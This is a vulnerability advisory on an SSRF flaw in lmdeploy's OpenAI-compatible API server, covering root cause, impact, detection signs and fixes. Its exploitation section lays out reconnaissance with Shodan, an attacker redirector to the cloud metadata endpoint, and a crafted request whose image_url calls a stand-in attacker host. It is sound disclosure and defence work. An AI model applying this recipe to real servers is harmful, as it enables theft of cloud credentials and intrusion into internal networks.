CVE-2026-63764: 
Python 脆弱性の分析と軽減

CVE-2026-63764 is a Server-Side Request Forgery (SSRF) vulnerability in InternLM's lmdeploy OpenAI-compatible API server that allows unauthenticated remote attackers to access internal services and cloud metadata endpoints by supplying a crafted image_url that redirects to internal targets. The vulnerability was first reported to the maintainers on June 12, 2026, publicly disclosed via GitHub issue on July 18, 2026, and published to the NVD and GitHub Advisory Database on July 21, 2026. It affects lmdeploy at commit 648df3b and is classified as Critical with a CVSS v3.1 score of 9.3 and a CVSS v4.0 score of 9.2 (Github Advisory, GitHub Issue).

The root cause is CWE-918 (Server-Side Request Forgery): the _is_safe_url() function in lmdeploy/vl/media/connection.py validates only the original URL by resolving the hostname and rejecting non-global IP addresses, but the subsequent HTTP fetch uses requests.Session().get(url, allow_redirects=True) with no per-hop revalidation of redirect destinations. An attacker supplies an image_url pointing to an attacker-controlled public host (which resolves to a global IP and passes the guard), and that host responds with an HTTP 302 redirect to an internal address such as http://127.0.0.1:<port>/ or http://169.254.169.254/latest/meta-data/. The redirect is followed transparently, and the internal response bytes are returned through the model pipeline. Exploitation requires no authentication because the API server binds to 0.0.0.0 and api_keys defaults to None, meaning the auth check is never applied (GitHub Issue, Github Advisory).

Successful exploitation allows an unauthenticated network attacker to coerce the lmdeploy server into making arbitrary HTTP requests to internal services and cloud instance-metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254), with the response content returned through the vision model pipeline. This enables theft of cloud provider credentials and IAM tokens, internal network reconnaissance, and potential lateral movement to other internal services reachable from the lmdeploy host. Confidentiality of internal data is highly impacted; integrity of subsequent systems is also affected due to the potential for credential-based privilege escalation (GitHub Issue, Github Advisory).

1. Reconnaissance: Identify internet-facing lmdeploy API servers (default port, binding 0.0.0.0) using tools like Shodan or Censys, searching for the OpenAI-compatible /v1/chat/completions endpoint. Confirm the deployment uses a vision model (VLM) that processes image_url inputs.
2. Set up attacker infrastructure: Deploy an attacker-controlled HTTP server at a publicly routable IP address. Configure it to respond to any GET request with an HTTP 302 redirect to the desired internal target (e.g., Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/ or Location: http://127.0.0.1:8080/internal-api).
3. Craft the malicious request: Construct a POST request to /v1/chat/completions with a multimodal message body containing an image_url pointing to the attacker-controlled redirector:

{
  "model": "<vision-model-name>",
  "messages": [{
    "role": "user",
    "content": [{
      "type": "image_url",
      "image_url": {"url": "http://attacker.example.com/redirect"}
    }]
  }]
}

4. Bypass the safety guard: The lmdeploy server calls _is_safe_url("http://attacker.example.com/redirect"), which resolves to a global IP and passes. The server then fetches the URL with allow_redirects=True, following the 302 to the internal target without re-running _is_safe_url.
5. Retrieve internal response: The internal service's response (e.g., cloud metadata credentials, internal API data) is returned as image bytes through the model pipeline and surfaced in the API response, completing the SSRF attack (GitHub Issue).

• Network: Outbound HTTP requests from the lmdeploy server to 169.254.169.254 (AWS/GCP/Azure instance metadata) or loopback addresses (127.0.0.1) originating from the Python process; unusual outbound connections to previously unseen external IPs shortly before internal requests.
• Logs: API access logs showing POST requests to /v1/chat/completions with image_url values pointing to external hosts not matching known CDN or image hosting domains; HTTP client logs showing redirect chains from external URLs to internal RFC-1918 or link-local addresses.
• Process: The lmdeploy Python process (python, uvicorn, or gunicorn) initiating TCP connections to internal ports or metadata IP 169.254.169.254 that are not part of normal model inference traffic.
• File System: Unexpected credential files or tokens written to disk if an attacker exfiltrates and reuses cloud metadata credentials obtained via the SSRF (GitHub Issue).

The recommended fix is to disable automatic redirect following in _load_http_url (set allow_redirects=False) and instead manually follow each Location header, re-running _is_safe_url() on every redirect hop before proceeding. Alternatively, pin the HTTP connection to the IP address validated by _is_safe_url so that a redirect cannot switch to a different host. Additional hardening steps include: (1) enabling API key authentication by setting api_keys to a non-null value in serve/openai/api_server.py; (2) restricting network-level access from the lmdeploy host to instance-metadata endpoints and internal services via firewall rules or security groups; (3) maintaining an allowlist of permitted image URL domains. As of the advisory publication date, no patched version number has been specified by the maintainers (GitHub Issue, Github Advisory).

The vulnerability received coverage from Ox Security, which published a dedicated blog post analyzing the SSRF in lmdeploy's OpenAI-compatible API server (Ox Security Blog). Discussion threads appeared on Reddit's r/SecOpsDaily and r/pwnhub communities highlighting the unauthenticated nature of the attack and the risk to cloud-deployed AI inference servers. VulnCheck published an advisory detailing the redirect bypass mechanism (VulnCheck Advisory). The issue was originally reported to the lmdeploy maintainers via GitHub Security Advisories on June 12, 2026, but received no response for over a month before being publicly disclosed.